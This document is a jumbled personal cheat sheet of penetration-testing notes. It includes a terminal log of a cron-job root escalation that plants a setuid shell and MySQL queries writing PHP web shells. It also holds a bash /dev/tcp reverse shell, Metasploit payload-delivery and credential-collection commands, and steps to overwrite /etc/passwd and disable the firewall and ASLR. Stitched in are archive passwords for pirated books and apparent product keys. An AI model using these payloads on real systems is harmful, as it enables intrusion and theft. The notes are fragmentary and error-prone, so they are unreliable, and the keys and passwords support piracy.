Crontab priv esca

 www-data@red:/etc$ ls -la cron*
ls -la cron*
-rw-r--r-- 1 root root  722 Apr  5  2016 crontab

cron.d:
total 32
drwxr-xr-x   2 root root  4096 Jun  3  2016 .
drwxr-xr-x 100 root root 12288 May 25 11:38 ..
-rw-r--r--   1 root root   102 Jun  3  2016 .placeholder
-rw-r--r--   1 root root    56 Jun  3  2016 logrotate
-rw-r--r--   1 root root   589 Jul 16  2014 mdadm
-rw-r--r--   1 root root   670 Mar  1  2016 php

cron.daily:
total 56
drwxr-xr-x   2 root root  4096 Jun  3  2016 .
drwxr-xr-x 100 root root 12288 May 25 11:38 ..
-rw-r--r--   1 root root   102 Apr  5  2016 .placeholder
-rwxr-xr-x   1 root root   539 Apr  5  2016 apache2
-rwxr-xr-x   1 root root   376 Mar 31  2016 apport
-rwxr-xr-x   1 root root   920 Apr  5  2016 apt-compat
-rwxr-xr-x   1 root root  1597 Nov 26  2015 dpkg
-rwxr-xr-x   1 root root   372 May  6  2015 logrotate
-rwxr-xr-x   1 root root   539 Jul 16  2014 mdadm
-rwxr-xr-x   1 root root   249 Nov 12  2015 passwd
-rwxr-xr-x   1 root root   383 Mar  8  2016 samba
-rwxr-xr-x   1 root root   214 Apr 12  2016 update-notifier-common

cron.hourly:
total 20
drwxr-xr-x   2 root root  4096 Jun  3  2016 .
drwxr-xr-x 100 root root 12288 May 25 11:38 ..
-rw-r--r--   1 root root   102 Apr  5  2016 .placeholder

cron.monthly:
total 20
drwxr-xr-x   2 root root  4096 Jun  3  2016 .
drwxr-xr-x 100 root root 12288 May 25 11:38 ..
-rw-r--r--   1 root root   102 Apr  5  2016 .placeholder

cron.weekly:
total 28
drwxr-xr-x   2 root root  4096 Jun  3  2016 .
drwxr-xr-x 100 root root 12288 May 25 11:38 ..
-rw-r--r--   1 root root   102 Apr  5  2016 .placeholder
-rwxr-xr-x   1 root root    86 Apr 13  2016 fstrim
-rwxr-xr-x   1 root root   211 Apr 12  2016 update-notifier-common
www-data@red:/etc$ cd cron.d    
cd cron.d
www-data@red:/etc/cron.d$ ls
ls
logrotate  mdadm  php
www-data@red:/etc/cron.d$ ls -la
ls -la
total 32
drwxr-xr-x   2 root root  4096 Jun  3  2016 .
drwxr-xr-x 100 root root 12288 May 25 11:38 ..
-rw-r--r--   1 root root   102 Jun  3  2016 .placeholder
-rw-r--r--   1 root root    56 Jun  3  2016 logrotate
-rw-r--r--   1 root root   589 Jul 16  2014 mdadm
-rw-r--r--   1 root root   670 Mar  1  2016 php
www-data@red:/etc/cron.d$ cd logrotate
cd logrotate
bash: cd: logrotate: Not a directory
www-data@red:/etc/cron.d$ cat logrotate
cat logrotate
*/5 *   * * *   root  /usr/local/sbin/cron-logrotate.sh
www-data@red:/etc/cron.d$ cat /usr/local/sbin/cron-logrotate.sh
cat /usr/local/sbin/cron-logrotate.sh
#Simon, you really need to-do something about this
www-data@red:/etc/cron.d$ cd ..
cd ..
www-data@red:/etc$ echo "cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit;chmod root:root /tmp/exploit">> /usr/local/sbin/cron-logrotate.sh
<d root:root /tmp/exploit">> /usr/local/sbin/cron-logrotate.sh               
www-data@red:/etc$ cat /usr/local/sbin/cron-logrotate.sh
cat /usr/local/sbin/cron-logrotate.sh
#Simon, you really need to-do something about this
cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit;chmod root:root /tmp/exploit
www-data@red:/etc$ cd
cd
bash: cd: HOME not set
www-data@red:/etc$ cd ..
cd ..
www-data@red:/$ /tmp/exploit -p
/tmp/exploit -p
# cd /root
cd /root
# ls
ls
fix-wordpress.sh  flag.txt  issue  python.sh  wordpress.sql

mysql priv escalation

 For window >>>

SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"

 For Linux 

Select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/https/blogblog/wp-content/uploads/shell.php";

msf6 > search regsvr32

Matching Modules
================

   #  Name                                               Disclosure Date  Rank    Check  Description
   -  ----                                               ---------------  ----    -----  -----------
   0  auxiliary/server/regsvr32_command_delivery_server                   normal  No     Regsvr32.exe (.sct) Command Delivery Server
   1  exploit/multi/script/web_delivery                  2013-07-19       manual  No     Script Web Delivery


Interact with a module by name or index. For example info 1, use 1 or use exploit/multi/script/web_delivery

msf6 > use 0
msf6 auxiliary(server/regsvr32_command_delivery_server) > show options

Module options (auxiliary/server/regsvr32_command_delivery_server):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CMD                       no        The command to execute
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)

msf6 auxiliary(server/regsvr32_command_delivery_server) > set SRVHOST 192.168.1.5
SRVHOST => 192.168.1.5
msf6 auxiliary(server/regsvr32_command_delivery_server) > set SRVPORT 4444
SRVPORT => 4444

installlation of wpscan

  1) To install ruby, type : sudo apt install ruby 

 2) To install dependencies for building extensions, type: sudo apt install build-essential libcurl4-openssl-dev libxml2 libxml2-dev libxslt1-dev ruby-dev libgmp-dev zlib1g-dev 

3) To install WPScan, type: sudo gem install wpscan

JUNK NOTE

 xterm-256color

https://drive.google.com/drive/folders/1wvvVQRapOn9860_ETKz9RQDEXh1hVUtx?usp=sharing


bash -c 'bash -i >& /dev/tcp/192.168.1.7/1234 0>&1'
python -c 'import pty; pty.spawn("/bin/bash")'
tty
Ctrl + Z
echo $TERM
stty -a
stty raw -echo
fg
nc -nlvp 1234
<here You spawn the nc session again by typing by nc -lvnp 445

reset
xterm

export SHELL=bash
export TERM=xterm256-color
stty rows 37 colums 146
bash -i

export TERM=linux
-->
zip passwd.zip passwd
sudo -u root unzip -o passwd.zip -d /etc/passwd
--

openssl passwd geek

$nc 192.168.1.6 56563 

OSWE's syllabus: https://www.offensive-security.com/do... Repository of s0j0hn: https://github.com/s0j0hn/AWAE-OSWE-Prep wetw0rk: https://github.com/wetw0rk/AWAE-PREP Links: https://www.linkedin.com/in/syedumara... https://twitter.com/syed__umar https://github.com/Anon-Exploiter Site/Side project: https://umar0x01.sh https://pentestlabs.gitbook.io

 

 

###Tools### windows-privesc-check https://github.com/pentestmonkey/wind... Windows Exploit Suggester https://github.com/AonCyberLabs/Windo... MSF Exploit Suggester post/multi/recon/local_exploit_suggestor BeRoot https://github.com/AlessandroZ/BeRoot JAWS ( Just Another Windows Enum Script) https://github.com/411Hall/JAWS 

 

objdump -M intel -D start | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
 

 

 

-----Disable ASLR---------
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
-----Disable stack protector-------
gcc -fno-stack-protector -z execstack

File Password: linuxia.ir
All Book Password: @Hide01


File Password For 2020 Version: hide01.ir

File Password For 2019 Version: @sanspentest

Password For Open Books In Archives: @Hide01

darkOp: dsoftw

File Password: @Hide01-@OffSecPack
All Book Password: @Hide01

------------------

Password: dl.linuxia.ir

actux

------------------------------

File Password: @sanspentest All Book Password: @Hide01

2F3R0-FHED2-M80TY-BQYGC-NPKYF YF398-0HF8P-M81RQ-2DXQE-MZUT6 ZF71R-DMX85-08DQY-8YMNC-PPHV8 ZF3R0-FHED2-M80TY-8QYGC-NPKYF YF390-0HF8P-M81RQ-2DXQE-M2UT6 ZF71R-DMX85-08DQY-8YMNC-PPHV8 AZ3E8-DCD8J-0842Z-N6NZE-XPKYF FC11K-00DE0-0800Z-04Z5E-MC8T6

 

 

#!/bin/bash
host=l0.5.5.ll
for port in {l .. 65535}; do
timeout .1 bash -c "echo >/dev/tcp/$host/$port" &&
echo "port $port is open"
done
echo "Done" 

https://ctfchallenge.com/login

https://thehackerish.com/ 

 

 

---------------------

hascat error

sudo rm -rf ~/.hashcat/sessions/hashcat.pid
 

VBoxManage modifyvm "macos" --cpuidset 00000001 000106e5 00100800 0098e3fd bfebfbff
VBoxManage setextradata "macos" "VBoxInternal/Devices/efi/0/Config/DmiSystemProduct" "iMac11,3"
VBoxManage setextradata "macos" "VBoxInternal/Devices/efi/0/Config/DmiSystemVersion" "1.0"
VBoxManage setextradata "macos" "VBoxInternal/Devices/efi/0/Config/DmiBoardProduct" "Iloveapple"
VBoxManage setextradata "macos" "VBoxInternal/Devices/smc/0/Config/DeviceKey" "ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc"
VBoxManage setextradata "macos" "VBoxInternal/Devices/smc/0/Config/GetKeyFromRealSMC" 1

db_connect -y /usr/share/metasploit-framework/config/database.yml

download.phishing-server.com/dl/lucy-latest/virtualbox.zip
download.phishing-server.com/dl/lucy-latest/esxi.ova
download.phishing-server.com/dl/lucy-latest/vmware.zip
download.phishing-server.com/dl/lucy-latest/install.sh

 

macof -i wlan0 -n 15

-----Disable the firewall-----------

netsh firewall set opmode disable

-----------------------------------------------------

 

 

metasploit post exploitation phase

====================

run post/windows/gather/credentials/credntial_collector
run post/windows/gather/dumplinks
run post/windows/gather/enum_applications
run post/multi/recon/local_exploit_suggester
run /post/windows/gather/usb_history
run event_manager -i
run event_manager -c

----------------------------------------------------

win Packet Scan for Enumeratio of Access Control List

------------------------------------------------------
nmap -sW -O -PI -PT <URL or IP>
nmap -sV -Pn -T4 -vv 192.168.1.1

----------------------------------------

Super Network Tunnel
HTTPTunnel
HTTPORT
HTTHOST

adsadas

Perl

perl -e 'exec "/bin/sh";'

1	perl -e 'exec "/bin/sh";'

Simple Shells to Fully Interactive TTYs

1. Python to spawn a PTY

$ python -c 'import pty; pty.spawn("/bin/bash")' or $ python3 -c 'import pty; pty.spawn("/bin/bash")'

1 2 3

$ python -c 'import pty; pty.spawn("/bin/bash")'         or $ python3 -c 'import pty; pty.spawn("/bin/bash")'

2. Put the shell in to background with Ctrl-Z

$ Ctrl-Z

1

$ Ctrl-Z

3. Examine the current terminal and STTY info and match it

# echo $TERM # stty -a

1 2	# echo $TERM # stty -a

The information needed is the TERM type (“xterm-256color”) and the size of the current TTY (“rows 37; columns 146”)

4. Set the current STTY to type raw and tell it to echo the input characters

# stty raw -echo

1	# stty raw -echo

5. Foreground the shell with fg and re-open the shell with reset

# fg reset

1 2	# fg    reset

6. stty size to match our current window

$ export SHELL=bash $ export TERM=xterm256-color $ stty rows 37 columns 146 $ bash -i

1 2 3 4

$ export SHELL=bash $ export TERM=xterm256-color $ stty rows 37 columns 146 $ bash -i

7. Set PATH TERM and SHELL if missing

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin $ export TERM=xterm $ export SHELL=bash $ cat /etc/profile; cat /etc/bashrc; cat ~/.bash_profile; cat ~/.bashrc; cat ~/.bash_logout; env; set $ export PS1='[\u@\h \W]\$ '

1 2 3 4 5

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin $ export TERM=xterm $ export SHELL=bash $ cat /etc/profile; cat /etc/bashrc; cat ~/.bash_profile; cat ~/.bashrc; cat ~/.bash_logout; env; set $ export PS1='[\u@\h \W]\$ '

1	python -c 'import pty; pty.spawn("/bin/sh")'   https://archive.is/xDb8o

 

shell cheetsheet

 __import__('os').system("bash -i")

 https://www.vinhnguyen.blog/2020/03/reverse-shell-cheatsheet-oscp.html

https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/ 

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ 

Change permanent DNS in linux

sudo apt update

 sudo apt install resolvconf 

(confirm resolveconf is running)

 sudo systemctl status resolvconf.service 

(if resolveconf isn't running, enable then start it) 

sudo systemctl enable resolvconf.service

 sudo systemctl start resolvconf.service 

(check resolveconf status) 

sudo systemctl status resolvconf.service 

(edit the head file) 

sudo nano /etc/resolvconf/resolv.conf.d/head 

(enter your nameservers below the comments)

 nameserver 8.8.8.8 

nameserver 8.8.4.4 

(update resolve.conf file) 

sudo resolvconf --enable-updates

 sudo resolvconf -u 

(check if changes we successful) 

sudo nano /etc/resolv.conf